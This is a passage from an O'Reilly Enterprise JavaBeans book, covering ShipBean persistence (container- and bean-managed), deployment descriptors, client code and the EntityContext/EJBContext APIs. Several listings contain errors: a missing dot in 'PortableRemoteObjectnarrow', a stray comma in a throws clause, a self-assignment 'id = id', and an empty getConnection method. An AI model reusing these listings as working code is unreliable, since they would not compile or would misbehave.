It may seem a little silly to define the ejbPostCreate() method with the same parameters as its matching ejbCreate() method, especially in the ShipBean where the instance variables are just as easily retrieved from the bean instance's fields. There are, however, two very good reasons for matching the parameter lists. First, it indicates which ejbPostCreate() method is associated with which ejbCreate() method. This ensures that the container calls the correct ejbPostCreate() method after ejbCreate() is done. Second, it is possible that one of the parameters passed is not assigned to a bean instance field or is only relevant to the ejbPostCreate(). In either case, you would need to duplicate the parameters of the ejbCreate() method to have that information available in the ejbPostCreate() method.

6.1.8.3. ejbCreate() and ejbPostCreate( ) sequence of events

To understand how a bean instance gets up and running, we have to think of a bean in the context of its life cycle. Figure 6-1 shows the sequence of events during a portion of the bean's life cycle, as defined by the EJB specification. Every EJB vendor must support this sequence of events.

Figure 6-1. The sequence of events for bean instance creation

The process begins when the client invokes one of the create() methods on the bean's EJB home. A create() method is invoked on the EJB home stub (step 1), which communicates the method to the EJB home across the network (step 2). The EJB home plucks a ShipBean instance from the pool and invokes its corresponding ejbCreate() method (step 3).

The create() and ejbCreate() methods pair are responsible for initializing the bean instance so that the container can insert a record into the database. In the case of the ShipBean, the minimal information required to add a new ship to the system is the ship's unique id and a name. These fields are initialized during the ejbCreate() method invocation (step 4).

In a container-managed EntityBean, the container uses the bean instance's public fields (id, name, capacity, and tonnage) to insert a record in the database which it reads from the bean (step 5). Only those fields described as container-managed in the deployment descriptor are accessed automatically. Once the container has read the container-managed fields from the bean instance, it will automatically insert a new record into the database using those fields (step 6). How the data is written to the database is defined when the bean's fields are mapped at deployment time. In our example, a new record is inserted into the SHIP table.

Once the record has been inserted into the database, the bean instance is ready to be assigned to an EJB object (step 7). Once the bean is assigned to an EJB object, the bean's identity is available. This is when the ejbPostCreate() method is invoked (step 8).

Finally, when the ejbPostCreate() processing is complete, the bean is ready to service client requests. The EJB object stub is created and returned to client application, which will use it to invoke business methods on the bean (step 9).

6.1.8.4. Using ejbLoad() and ejbStore( ) in container-managed beans

The process of ensuring that the database record and the entity bean instance are equivalent is called synchronization. In container-managed persistence, the bean's container-managed fields are automatically synchronized with the database. In most cases, we will not need the ejbLoad() and ejbStore() methods because persistence in container-managed beans is uncomplicated.

Leveraging the ejbLoad() and ejbStore() callback methods in container-managed beans, however, can be useful if more sophisticated logic is needed when synchronizing container-managed fields. Data intended for the database can be reformatted or compressed to conserve space; data just retrieved from the database can be used to calculate derived values for nonpersistent properties.

Imagine a hypothetical bean class that includes an array of Strings that you want to store in the database. Relational databases do not support arrays, so you need to convert the array into some other format. Using the ejbLoad() and ejbStore() methods in a container-managed bean allows the bean instance to reformat the data as appropriate for the state of the bean and the structure of the database. Here's how this might work:

public class HypotheticalBean extends javax.ejb.EntityBean {
    public transient String [] array_of_messages;
    public String messages;

    // Parses the messages into an array_of_messages. This is called on a
    // container-managed bean just after the bean instance is synchronized
    // with the database (right after the bean gets its data).
    public void ejbLoad() {
        StringTokenizer st = new StringTokenizer(messages, "~");
        array_of_messages = new String[st.countTokens()];
        for (int i = 0; st.hasMoreTokens(); i++) {
            array_of_messages[i] = st.nextToken();
        }
    }
    // Creates a '~' delimited string of messages from the
    // array_of_messages. This method is called immediately
    // prior to synchronization of the database with the bean;
    // just before the bean is written to the database.
    public void ejbStore() {
        messages = new String();
        int i = 0;
        for (; i < array_of_messages.length-1;i++) {
            messages += array_of_messages[i]+"~";
        }
        messages += array_of_messages[i];
    }
    // a business method that uses the array_of_messages
    public String [] getMessages() {
        return array_of_messages;
    }
 ...
}

Just before the container reads the container-managed field messages, it calls the ejbStore() method. This method makes a tilde (~) delimited string from the array_of_messages and places the new string in the messages field. This trick formats the messages so the database can store them easily.

Just after the container updates the fields of the HypotheticalBean with fresh data from the database, it calls the ejbLoad() method, which parses the tilde-delimited message field and populates the array_of_messages with the strings. This reformats the database data into an array that is easier for the HypotheticalBean to return to the client.

6.1.8.5. EJB 1.1: Deploying the ShipBean

With a complete definition of the Ship bean, including the remote interface, home interface, and primary key, we are ready to create a deployment descriptor. The following listing shows the bean's XML deployment descriptor. This deployment descriptor is not significantly different from the descriptor we created for the Cabin bean in Chapter 4, "Developing Your First Enterprise Beans", so it won't be discussed in detail.

<?xml version="1.0"?>

<!DOCTYPE ejb-jar PUBLIC "-//Sun Microsystems, Inc.//DTD Enterprise
JavaBeans 1.1//EN" "http://java.sun.com/j2ee/dtds/ejb-jar_1_1.dtd">

<ejb-jar>
 <enterprise-beans>
   <entity>
      <description>
            This bean represents a cruise ship.
      </description>
      <ejb-name>ShipBean</ejb-name>
      <home>com.titan.ship.ShipHome</home>
      <remote>com.titan.ship.Ship</remote>
      <ejb-class>com.titan.ship.ShipBean</ejb-class>
      <persistence-type>Container</persistence-type>
      <prim-key-class>com.titan.ship.ShipPK</prim-key-class>
      <reentrant>False</reentrant>

      <cmp-field><field-name>id</field-name></cmp-field>
      <cmp-field><field-name>name</field-name></cmp-field>
      <cmp-field><field-name>capacity</field-name></cmp-field>
      <cmp-field><field-name>tonnage</field-name></cmp-field>
   </entity>
 </enterprise-beans>

 <assembly-descriptor>
   <security-role>
      <description>
         This role represents everyone who is allowed full access
         to the Ship bean.
      </description>
     <role-name>everyone</role-name>
   </security-role>

   <method-permission>
     <role-name>everyone</role-name>
     <method>
         <ejb-name>ShipBean</ejb-name>
         <method-name>*</method-name>
     </method>
   </method-permission>

   <container-transaction>
     <method>
        <ejb-name>ShipBean</ejb-name>
        <method-name>*</method-name>
     </method>
     <trans-attribute>Required</trans-attribute>
   </container-transaction>
 </assembly-descriptor>
</ejb-jar>

Save the Ship bean's deployment descriptor into the com/titan/ship directory as ejb-jar.xml.

Now that you have put all the necessary files in one directory, creating the JAR file is easy. Position yourself in the dev directory that is just above the com/titan/ship directory tree, and execute the jar utility as you did in Chapter 4, "Developing Your First Enterprise Beans":

\dev % jar cf ship.jar com/titan/ship/*.class META-INF/ejb-jar.xml

F:\..\dev>jar cf ship.jar com\titan\ship\*.class META-INF\ejb-jar.xml

The c option tells the jar utility to create a new JAR file that contains the files indicated in subsequent parameters. It also tells the jar utility to stream the resulting JAR file to standard output. The f option tells jar to redirect the standard output to a new file named in the second parameter (ship.jar). It's important to get the order of the option letters and the command-line parameters to match.

6.1.8.6. EJB 1.0: Deploying the ShipBean

If you're using EJB 1.0, you need to create an old-style deployment descriptor, which is a serialized Java object. To create the deployment descriptor, we write a MakeDD application, just as we did in Chapter 4, "Developing Your First Enterprise Beans" for the Cabin bean. Other than changing the name of classes, the JNDI name, and the container-managed fields, there isn't much difference between Ship's MakeDD application and the Cabin bean's.

package com.titan.ship;

import javax.ejb.deployment.EntityDescriptor;
import javax.ejb.deployment.ControlDescriptor;
import javax.naming.CompoundName;

import java.util.Properties;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class MakeDD {

    public static void main(String args []) {
        try {

        if (args.length <1) {
            System.out.println("must specify target directory");
            return;
        }
        EntityDescriptor shipDD = new EntityDescriptor();
        shipDD.setEnterpriseBeanClassName("com.titan.ship.ShipBean");
        shipDD.setHomeInterfaceClassName("com.titan.ship.ShipHome");
        shipDD.setRemoteInterfaceClassName("com.titan.ship.Ship");
        shipDD.setPrimaryKeyClassName("com.titan.ship.ShipPK");

        Class beanClass = ShipBean.class;
        Field [] persistentFields = new Field[4];
        persistentFields[0] = beanClass.getDeclaredField("id");
        persistentFields[1] = beanClass.getDeclaredField("name");
        persistentFields[2] = beanClass.getDeclaredField("capacity");
        persistentFields[3] = beanClass.getDeclaredField("tonnage");
        shipDD.setContainerManagedFields(persistentFields);

        shipDD.setReentrant(false);

        CompoundName jndiName = new CompoundName("ShipHome", new Properties());
        shipDD.setBeanHomeName(jndiName);

        ControlDescriptor cd = new ControlDescriptor();
        cd.setIsolationLevel(ControlDescriptor.TRANSACTION_READ_COMMITTED);
        cd.setMethod(null);
        cd.setRunAsMode(ControlDescriptor.CLIENT_IDENTITY);
        cd.setTransactionAttribute(ControlDescriptor.TX_REQUIRED);
        ControlDescriptor [] cdArray = {cd};
        shipDD.setControlDescriptors(cdArray);

        // Set the name to associate with the enterprise bean
        // in the JNDI name space.

        String fileSeparator =
            System.getProperties().getProperty("file.separator");

        if (! args[0].endsWith(fileSeparator))
            args[0] += fileSeparator;

        FileOutputStream fis = new FileOutputStream(args[0]+"ShipDD.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fis);
        oos.writeObject(shipDD);
        oos.flush();
        oos.close();
        fis.close();
        } catch (Throwable t){t.printStackTrace();}
    }
}

Compile this class and run it:

\dev % java com.titan.ship.MakeDD com/titan/ship

F:\..\dev>java com.titan.ship.MakeDD com\titan\ship

If you run this application, you should end up with a file called ShipDD.ser in the com/titan/ship directory. This is your serialized DeploymentDescriptor for the Ship bean. We examined the code for this type of MakeDD application in detail in Chapter 4, "Developing Your First Enterprise Beans", so we won't do it again here.

Next, place the Ship bean in a JAR file using the same process we used for the Cabin and TravelAgent beans in Chapter 4, "Developing Your First Enterprise Beans". First, we have to specify a manifest file for the Ship bean, which we will save in the com/titan/ship directory:

Name: com/titan/ship/ShipDD.ser
Enterprise-Bean: True

Now that the manifest is ready, we can JAR the Ship bean so that it's ready for deployment. Again, we use the same process that we used for the Cabin and TravelAgent beans:

\dev % jar cmf com/titan/ship/manifest ship.jar \
com/titan/ship/*.class com/titan/ship/*.ser

F:\..\dev>jar cmf com\titan\ship\manifest ship.jar com\titan\ship\*.class
com\titan\ship\*.ser

The Ship bean is now complete and ready to be deployed. Use the wizards and deployment utilities provided by your vendor to deploy the Ship bean into the EJB server.

6.1.9. The Client Application

In Chapter 4, "Developing Your First Enterprise Beans" and Chapter 5, "The Client View", you learned how to write a Java client that uses the EJB client API to access and work with enterprise beans. Here's a simple client that accesses the Ship bean; it creates a single ship, the Paradise, that can handle 3,000 passengers:

package com.titan.ship;

import javax.naming.InitialContext;
import javax.naming.Context;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.util.Properties;

public class Client_1 {
    public static void main(String [] args) {
        try {
            Context ctx = getInitialContext();

            // EJB 1.0: Use native cast instead of narrow()
            Object ref = ctx.lookup("ShipHome");
            ShipHome home = (ShipHome)
                PortableRemoteObjectnarrow(ref,ShipHome.class);

            Ship ship = home.create(1,"Paradise",3000,100000);
            int t = ship.getCapacity();
            System.out.println("Capacity = " +t);

        } catch (Exception e){e.printStackTrace();}
    }
    public static Context getInitialContext()
        throws javax.naming.NamingException {

        Properties p = new Properties();
        // ... Specify the JNDI properties specific to the vendor.
        return new javax.naming.InitialContext(p);
    }
}

Once you have created the ship, you should be able to modify the client to look up the ship using its primary key, as shown in the following code:

package com.titan.ship;

import javax.naming.InitialContext;
import javax.naming.Context;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.util.Properties;
import java.util.Enumeration;

public class Client_2 {
    public static void main(String [] args){
        try {
            Context ctx = getInitialContext();

            // EJB 1.0: Use native cast instead of narrow().
            Object ref = ctx.lookup("ShipHome");
            ShipHome home = (ShipHome)
                PortableRemoteObject.narrow(ref,ShipHome.class);

            home.create(2,"Utopia",4500,8939);
            home.create(3,"Valhalla",3300,93939);
            ShipPK pk = new ShipPK();
            pk.id = 1;
            Ship ship = home.findByPrimaryKey(pk);
            ship.setCapacity(4500);
            int capacity = ship.getCapacity();

            Enumeration enum = home.findByCapacity(4500);
            while (enum.hasMoreElements()) {
                // EJB 1.0: Use native cast instead of narrow()
                ref = enum.nextElement();
                Ship aShip = (Ship)
                    PortableRemoteObject.narrow(ref,Ship.class);

                System.out.println(aShip.getName());
            }
        } catch (Exception e){e.printStackTrace();}
    }
    public static Context getInitialContext()
        throws javax.naming.NamingException {
        Properties p = new Properties();
        // ... Specify the JNDI properties specific to the vendor.
        return new javax.naming.InitialContext(p);
    }
}

The preceding client code demonstrates that the ship was automatically inserted into the database by the container. Now any changes you make to ship attributes (name, capacity, tonnage) will result in a change to the database.

Spend some time creating, finding, and removing Ships using the client application. You should also explore the use of all the methods in the EJBObject and EJBHome interfaces as you did in Chapter 5, "The Client View" with the Cabin and TravelAgent beans.

Previous | Home | Next
5.2. The EJB Client-Side API | Book Index | 6.2. Bean-Managed Persistence
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Bean-Managed Persistence (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

6.2. Bean-Managed Persistence

Bean-managed persistence is more complicated than container-managed persistence because you must explicitly write the persistence logic into the bean class. In order to write the persistence handling code into the bean class, you must know what type of database is being used and the how the bean class's fields map to that database.

Bean-managed persistence gives you more flexibility in how state is managed between the bean instance and the database. Entity beans that are defined by complex joins, a combination of different databases, or other resources such as legacy systems will benefit from bean-managed persistence. Essentially, bean-managed persistence is the alternative to container-managed persistence when the deployment tools are inadequate for mapping the bean instance's state to the database. It is likely that enterprise developers will use bean-managed persistence for creating custom beans for their business system.

The disadvantage of bean-managed persistence is that more work is required to define the bean. You have to understand the structure of the database and develop the logic to create, update, and remove data associated with an entity. This requires diligence in using the EJB callback methods such as ejbLoad() and ejbStore() appropriately. In addition, you must explicitly develop the find methods defined in the bean's home interface.

Another disadvantage of bean-managed persistence is that it ties the bean to a specific database type and structure. Any changes in the database or in the structure of data require changes to the bean instance's definition; these changes may not be trivial. A bean-managed entity is not as database-independent as a container-managed entity, but it can better accommodate a complex or unusual set of data.[4]

[4] Containers that use object-to-relational mapping tools in bean-managed persistence can mitigate this disadvantage.

To understand how bean-managed persistence works, we will modify the Ship bean to use bean-managed persistence. The nice thing about this change is that we do not need to modify any of the client's API. All the changes take place in the ShipBean class and the deployment descriptor.

6.2.1. Making the ShipBean a Bean-Managed Entity

The bulk of the source code for a bean-managed Ship bean is applicable to both EJB 1.1 and EJB 1.0. Changes to accommodate EJB 1.0 containers are indicated by comments in the source code. There are two types of changes required:

  • EJB 1.0 requires that a RemoteException be thrown if a system exception occurs. You will notice that a special comment, EJB1.0:thrownewRemoteException(), is placed in the appropriate locations to note this difference. EJB 1.1 requires that the javax.ejb.EJBException be thrown if a system error, like an SQLException, is encountered while executing a method. The EJBException is a subclass of RuntimeException in EJB 1.1, so you don't have to declare it in the method signature.

  • Multi-entity find methods in EJB 1.0 are required to return null, if no matching entities are found. This difference is noted in the code of the findByCapacity() method. Multi-entity find methods in EJB 1.1 return an empty Collection or Enumeration if no matching entities are found.

Here is the complete definition of the bean-managed ShipBean:

package com.titan.ship;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.ejb.EntityContext;
import java.rmi.RemoteException;
import java.sql.SQLException;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.DriverManager;
import java.sql.ResultSet;
import javax.sql.DataSource;
import javax.ejb.CreateException;
import javax.ejb.EJBException;
import javax.ejb.FinderException;
import javax.ejb.ObjectNotFoundException;
import java.util.Enumeration;
import java.util.Properties;
import java.util.Vector;

public class ShipBean implements javax.ejb.EntityBean {
    public int id;
    public String name;
    public int capacity;
    public double tonnage;

    public EntityContext context;

    public ShipPK ejbCreate(int id, String name,
        int capacity, double tonnage)
        throws CreateException {
        // EJB 1.0: Also throws RemoteException
        if ((id < 1) || (name == null))
           throw new CreateException("Invalid Parameters");
        this.id = id;
        this.name = name;
        this.capacity = capacity;
        this.tonnage = tonnage;

        Connection con = null;
        PreparedStatement ps = null;
        try {
          con = this.getConnection();
          ps = con.prepareStatement(
           "insert into Ship (id, name, capacity, tonnage) " +
           "values (?,?,?,?)");
          ps.setInt(1, id);
          ps.setString(2, name);
          ps.setInt(3, capacity);
          ps.setDouble(4, tonnage);
          if (ps.executeUpdate() != 1) {
            throw new CreateException ("Failed to add Ship to database");
          }
          ShipPK primaryKey = new ShipPK();
          primaryKey.id = id;
          return primaryKey;
        }
        catch (SQLException se) {
          // EJB 1.0: throw new RemoteException("", se);
          throw new EJBException (se);
        }
        finally {
          try {
            if (ps != null) ps.close();
            if (con!= null) con.close();
          } catch(SQLException se) {
            se.printStackTrace();
          }
        }
    }
    public void ejbPostCreate(int id, String name,
        int capacity, double tonnage) {
        // Do something useful with the primary key.
    }
    public ShipPK ejbCreate(int id, String name )
        throws CreateException {
        // EJB 1.0: Also throws RemoteException
        return ejbCreate(id,name,0,0);
    }
    public void ejbPostCreate(int id, String name) {
        // Do something useful with the EJBObject reference.
    }
    public ShipPK ejbFindByPrimaryKey(ShipPK primaryKey)
        throws FinderException, {
        // EJB 1.0: Also throws RemoteException
        Connection con = null;
        PreparedStatement ps = null;
        ResultSet result = null;
        try {
          con = this.getConnection();
          ps = con.prepareStatement(
              "select id from Ship where id = ?");
          ps.setInt(1, primaryKey.id);
          result = ps.executeQuery();
          // Does ship id exist in database?
          if (!result.next()) {
            throw new ObjectNotFoundException(
                "Cannot find Ship with id = "+id);
          }
        } catch (SQLException se) {
          // EJB 1.0: throw new RemoteException("", se);
          throw new EJBException(se);
        }
        finally {
          try {
            if (result != null) result.close();
            if (ps != null) ps.close();
            if (con!= null) con.close();
          } catch(SQLException se){
            se.printStackTrace();
          }
        }
        return primaryKey;
    }
    public Enumeration ejbFindByCapacity(int capacity)
        throws FinderException {
        // EJB 1.0: Also throws RemoteException
        Connection con = null;
        PreparedStatement ps = null;
        ResultSet result = null;
        try {
          con = this.getConnection();
          ps = con.prepareStatement(
              "select id from Ship where capacity = ?");
          ps.setInt(1,capacity);
          result = ps.executeQuery();
          Vector keys = new Vector();
          while(result.next()) {
            ShipPK shipPk = new ShipPK();
            shipPk.id = result.getInt("id");
            keys.addElement(shipPk);
          }
          // EJB 1.1: always return collection, even if empty.
          return keys.elements();
          // EJB 1.0: return null if collection is empty.
          // return (keys.size() > 0) ? keys.elements() : null;

        }
        catch (SQLException se) {
          // EJB 1.0: throw new RemoteException("",se);
          throw new EJBException (se);
        }
        finally {
          try {
            if (result != null) result.close();
            if (ps != null) ps.close();
            if (con!= null) con.close();
          } catch(SQLException se) {
            se.printStackTrace();
          }
        }
    }
    public void setEntityContext(EntityContext ctx) {
        context = ctx;
    }
    public void unsetEntityContext() {
        context = null;
    }
    public void ejbActivate() {}
    public void ejbPassivate() {}
    public void ejbLoad() {
        // EJB 1.0: throws RemoteException

        ShipPK pk = (ShipPK) context.getPrimaryKey();
        Connection con = null;
        PreparedStatement ps = null;
        ResultSet result = null;
        try {
          con = this.getConnection();
          ps = con.prepareStatement(
"              select name, capacity, tonnage from Ship where id = ?");
          ps.setInt(1,pk.id);
          result = ps.executeQuery();
          if (result.next()){
            id = id;
            name = result.getString("name");
            capacity = result.getInt("capacity");
            tonnage = result.getDouble("tonnage");
          } else {
            /* EJB 1.0: throw new RemoteException();
            */
            throw new EJBException();
          }
        } catch (SQLException se) {
           // EJB 1.0: throw new RemoteException("",se);
           throw new EJBException(se);
        }
        finally {
          try {
            if (result != null) result.close();
            if (ps != null) ps.close();
            if (con!= null) con.close();
          } catch(SQLException se) {
            se.printStackTrace();
          }
        }
    }
    public void ejbStore() {
    // EJB 1.0: throws RemoteException
        Connection con = null;
        PreparedStatement ps = null;
        try {
          con = this.getConnection();
          ps = con.prepareStatement(
              "update Ship set name = ?, capacity = ?, " +
              "tonnage = ? where id = ?");
          ps.setString(1,name);
          ps.setInt(2,capacity);
          ps.setDouble(3,tonnage);
          ps.setInt(4,id);
          if (ps.executeUpdate() != 1) {
            // EJB 1.0: throw new RemoteException ("ejbStore failed");
            throw new EJBException("ejbStore");
          }
        }
        catch (SQLException se) {
          // EJB 1.0: throw new RemoteException("",se);
          throw new EJBException (se);
        }
        finally {
          try {
            if (ps != null) ps.close();
            if (con!= null) con.close();
          } catch(SQLException se) {
            se.printStackTrace();
          }
        }
    }
    public void ejbRemove() {
        // EJB 1.0: throws RemoteException
        Connection con = null;
        PreparedStatement ps = null;
        try {
          con = this.getConnection();
          ps = con.prepareStatement("delete from Ship where id = ?");
          ps.setInt(1, id);
          if (ps.executeUpdate() != 1) {
            // EJB 1.0 throw new RemoteException("ejbRemove");
            throw new EJBException("ejbRemove");
          }
        }
        catch (SQLException se) {
          // EJB 1.0: throw new RemoteException("",se);
          throw new EJBException (se);
        }
        finally {
          try {
            if (ps != null) ps.close();
            if (con!= null) con.close();
          } catch(SQLException se) {
            se.printStackTrace();
          }
        }
    }
    public String getName() {
        return name;
    }
    public void setName(String n) {
        name = n;
    }
    public void setCapacity(int cap) {
        capacity = cap;
    }
    public int getCapacity() {
        return capacity;
    }
    public double getTonnage() {
        return tonnage;
    }
    public void setTonnage(double tons) {
        tonnage = tons;
    }
    private Connection getConnection() throws SQLException {
         // Implementations for EJB 1.0 and EJB 1.1 shown below
   }
}

6.2.2. Exception Handling

There are three types of exceptions thrown from a bean: application exceptions, which indicate business logic errors, runtime exceptions, and checked subsystem exceptions, which are throw from subsystems like JDBC or JNDI.

Application exceptions

Application exceptions include standard EJB application exceptions and custom application exceptions. The standard EJB application exceptions are CreateException, FinderException, ObjectNotFoundException, DuplicateKeyException, and RemoveException. These exceptions are thrown from the appropriate methods to indicate that a business logic error has occurred. Custom exceptions are exceptions you develop for specific business problems. You will develop custom exceptions in Chapter 7, "Session Beans".

Runtime exceptions

RuntimeException types are thrown from the virtual machine itself and indicate that a fairly serious programming error has occurred. Examples include NullPointerException and IndexOutOfBoundsException. These exceptions are handled by the container automatically and should not be handled inside a bean method.

EJB 1.1 subsystem exceptions

Checked exceptions thrown by other subsystems must be wrapped in an EJBException and rethrown from the method. Several examples of this can be found in the previous example, in which an SQLException that was thrown from JDBC was caught and rethrown as an EJBException. Checked exceptions from other subsystems, such as those thrown from JNDI, JavaMail, JMS, etc., should be handled in the same fashion. The EJBException is a subtype of the RuntimeException, so it doesn't need to be declared in the method's throws clause.

EJB 1.0 subsystem exceptions

Checked exceptions thrown by other subsystems must be wrapped in a RemoteException and rethrown from the method. In the previous example, we caught an SQLException that was thrown by JDBC, and threw our own RemoteException. Checked exceptions, such as those thrown from JNDI, JavaMail, JMS, etc., should be handled in the same fashion.

Exceptions have an impact on transactions and are fundamental to transaction processing. Exceptions are examined in greater detail in Chapter 8, "Transactions".

6.2.3. EntityContext

An EntityContext is given to the bean instance at the beginning of its life cycle, before it's made available to service any clients. The EntityContext should be placed in an instance field of the bean and maintained for the life of the instance.

The setEntityContext() method saves the EntityContext assigned to the bean in the instance field context. As the bean instance is swapped from one EJB object to the next, the information obtainable from the EntityContext reference changes to reflect the EJB object that the instance is assigned to. This is possible because the EntityContext is an interface, not a static class definition. This means that the container can implement the EntityContext with a concrete class that it controls. As the bean instance is swapped from one EJB object to another, some of the information made available through the EntityContext will also change.

Both SessionContext, used by session beans, and EntityContext extend EJBContext. Here is the definition of EntityContext:

public interface EntityContext extends EJBContext {
    public EJBObject getEJBObject()
        throws java.lang.IllegalStateException;
    public Object getPrimaryKey()
        throws java.lang.IllegalStateException;
}

The superinterface, the EJBContext, defines several methods that provide a lot of information about the bean instance's properties, security, and transactional environment. The next section discusses the EJBContext in more detail. Here we focus on the methods defined in the EntityContext.

The getEJBObject() method returns a remote reference to the bean instance's EJB object. This is the same kind of reference that might be used by an application client or another bean. The purpose of this method is to provide the bean instance with a reference to itself when it needs to perform a loopback operation. A loopback occurs when a bean invokes a method on another bean, passing itself as one of the parameters. Here is a hypothetical example:

public class A_Bean extends EntityBean {
   public EntityContext context;
   public void someMethod() {
       B_Bean  b = ... // Get a remote reference to a bean of type B_Bean.
       // EJB 1.0: Use native casting instead of narrow()
       EJBObject obj = context.getEJBObject();
       A_Bean mySelf =  (A_Bean)
           PortableRemoteObject.narrow(obj,A_Bean.class);
    b.aMethod( mySelf );
   }
   ...
}

It is illegal for a bean instance to pass a this reference to another bean; instead, it passes its remote reference, which the bean instance gets from its context. As discussed in Chapter 3, "Resource Management and the Primary Services", loopbacks or reentrant behavior are problematic in EJB and should be avoided by new EJB developers. Session beans also define the getEJBObject() method in the SessionContext interface; its behavior is exactly the same.

The getEJBHome() method is available to both entity and session beans and is defined in the EJBContext class. The getEJBHome() method returns a remote reference to the EJB home for that bean type. The bean instance can use this method to create new beans of its own type or, in the case of entity beans, to find other bean entities of its own type. Most beans won't need access to their EJB home, but if you need one, getEJBHome() provides a way to get it.

The getPrimaryKey() method allows a bean instance to get a copy of the primary key to which it is currently assigned. Outside of the ejbLoad() and ejbStore() methods, the use of this method, like the getEJBHome() method in the EJBContext, is probably rare, but the EntityContext makes the primary key available for those unusual circumstances when it is needed.

As the context in which the bean instance operates changes, some of the information made available through the EntityContext reference will be changed by the container. This is why the methods in the EntityContext throw the java.lang.IllegalStateException. The EntityContext is always available to the bean instance, but the instance is not always assigned to an EJB object. When the bean is between EJB objects, it has no EJB object or primary key to return. If the getEJBObject() or getPrimaryKey() methods are invoked when the bean is not assigned to an EJB object (when it is swapped out), they throw an IllegalStateException. Appendix B, "State and Sequence Diagrams" provides tables for each bean type describing which EJBContext methods can be invoked at what times.

6.2.4. EJB 1.1: EJBContext

The EntityContext extends the javax.ejb.EJBContext class, which is also the base class for the SessionContext used by session beans. The EJBContext defines several methods that provide useful information to a bean at runtime. Here is the definition of the EJBContext interface:

package javax.ejb;
public interface EJBContext {

   public EJBHome getEJBHome();

   // security methods
   public java.security.Principal getCallerPrincipal();
   public boolean isCallerInRole(java.lang.String roleName);

   // deprecated methods
   public java.security.Identity getCallerIdentity();
   public boolean isCallerInRole(java.security.Identity role);
   public java.util.Properties getEnvironment();

   // transaction methods
   public javax.transaction.UserTransaction getUserTransaction()
   throws java.lang.IllegalStateException;
   public boolean getRollbackOnly()
       throws java.lang.IllegalStateException;
   public void setRollbackOnly()
       throws java.lang.IllegalStateException;
}

The getEJBHome() method returns a reference to the bean's home interface. This is useful if the bean needs to create or find beans of its own type. As an example, if all employees in Titan's system (including managers) are represented by the Employee bean, then a manager employee that needs access to subordinate employees can use the getEJBHome() method to get beans representing the appropriate employees:

public class EmployeeBean implements EntityBean {
     int id;
     String firstName;
     ...
     public Enumeration getSubordinates() {
         // EJB 1.0: Use native Java casting instead of narrow()
         Object ref = ejbContext.getEJBHome();
         EmployeeHome home = (EmployeeHome)
             PortableRemoteObject.narrow(ref, EmployeeHome.class);

         Enumeration subordinates = home.findByManagerID(this.id);
         return subordinates;
     }
     ...
}

The getCallerPrincipal() method is used to obtain the Principal object representing the client that is currently accessing the bean. The Principal object can, for example, be used by the Ship bean to track the identity of clients making updates:

 public class ShipBean implements EntityBean {
    String modifiedBy;
    EntityContext context;
    ...
    public void setTonnage(double tons){
        tonnage = tons;
        Principal principal = context.getCallerPrincipal();
        String modifiedBy = principal.getName();
    }
    ...
}

The isCallerInRole() method tells you whether the client accessing the bean is a member of a specific role, identified by a role name. This method is useful when more access control is needed than the simple method-based access control can provide. In a banking system, for example, the Teller role might be allowed to make withdrawals, but only a Manager can make withdrawals over $10,000.00. This kind of fine-grained access control cannot be addressed through EJB's security attributes because it involves a business logic problem. Therefore, we can use the isCallerInRole() method to augment the automatic access control provided by EJB. First, let's assume that all Managers also are Tellers. Let's also assume that the deployment descriptor for the Account bean specifies that clients that are members of the Teller role can invoke the withdraw() method. The business logic in the withdraw() method uses isCallerInRole() to further refine access control so that only the Manager role can withdraw over $10,000.00.

public class AccountBean implements EntityBean {
    int id;
    double balance;
    EntityContext context;

    public void withdraw(Double withdraw)
    throws AccessDeniedException {

        if (withdraw.doubleValue() > 10000) {
           boolean isManager = context.isCallerInRole("Manager");
           if (!isManager) {
              // Only Managers can withdraw more than 10k.
              throw new AccessDeniedException();
           }
        }
        balance = balance - withdraw.doubleValue();

    }
    ...
}

The EJBContext contains some deprecated methods that were used in EJB 1.0 but will be abandoned in a future version of the specification. Support for these deprecated methods is optional so that EJB 1.1 servers can host EJB 1.0 beans. EJB servers that do not support the deprecated security methods will throw a RuntimeException. The deprecated security methods are based on EJB 1.0's use of the Identity object instead of the Principal object. The semantics of the deprecated methods are basically the same, but because Identity is an abstract class, it has proven to be too difficult to use. Chapter 6, "Entity Beans" goes into detail on how to use the Identity driven security methods. EJB 1.1 beans should use the Principal-based security methods.

The getEnvironment() method has been replaced by the JNDI Environment Naming Context, which is discussed later in the book. Support in EJB 1.1 for the deprecated getEnvironment() method is discussed in detail in Chapter 7, "Session Beans".

The transactional methods (getUserTransaction(),
setRollbackOnly(),
getRollbackOnly()) are described in
 detail in Chapter 8, "Transactions" .

6.2.5. EJB 1.0: EJBContext

In EJB 1.0, the EntityContext serves essentially the same purpose as in EJB 1.1. It extends the javax.ejb.EJBContext class, which is also the base class for the SessionContext used by session beans, and it defines several methods that provide useful information to a bean at runtime. Here is the definition of the EJBContext for Version 1.0:

package javax.ejb;
public interface EJBContext {

   public EJBHome getEJBHome();
   public java.util.Properties getEnvironment();

   // security methods
   public java.security.Identity getCallerIdentity();
   public boolean isCallerInRole(java.security.Identity role);

   // transaction methods
   public javax.transaction.UserTransaction getUserTransaction()
   throws java.lang.IllegalStateException;
   public boolean getRollbackOnly()
       throws java.lang.IllegalStateException;
   public void setRollbackOnly()
       throws java.lang.IllegalStateException;
}

The getEJBHome() method is used to obtain a reference to the bean's home interface. Repeating the same example: if all employees in Titan's system (including managers) are represented by the Employee bean, then a manager can access subordinate employees using the getEJBHome() method:

public class EmployeeBean implements EntityBean {
     int id;
     String firstName;
     ...
     public Enumeration getSubordinates() {
         EmployeeHome home = (EmployeeHome) ejbContext.getEJBHome();
         Enumeration subordinates = home.findByManagerID(this.id);
         return subordinates;
     }
     ...
}

The EJBContext.getEnvironment() method is used by both session and entity beans. This method provides the bean instance with a set of properties defined at deployment; it returns an instance of java.util.Properties, which is a type of hash table. The bean's deployment descriptor provides the properties, which can include anything you consider necessary for the bean to function. The environment properties are always available to the bean instance from any method.

Properties are usually used to modify the business behavior at runtime. As an example, an Account bean used in a banking system might use properties to set a limit for withdrawals. Here's how the code might look:

public class AccountBean implements EntityBean {
    int id;
    double balance;
    EntityContext ejbContext;

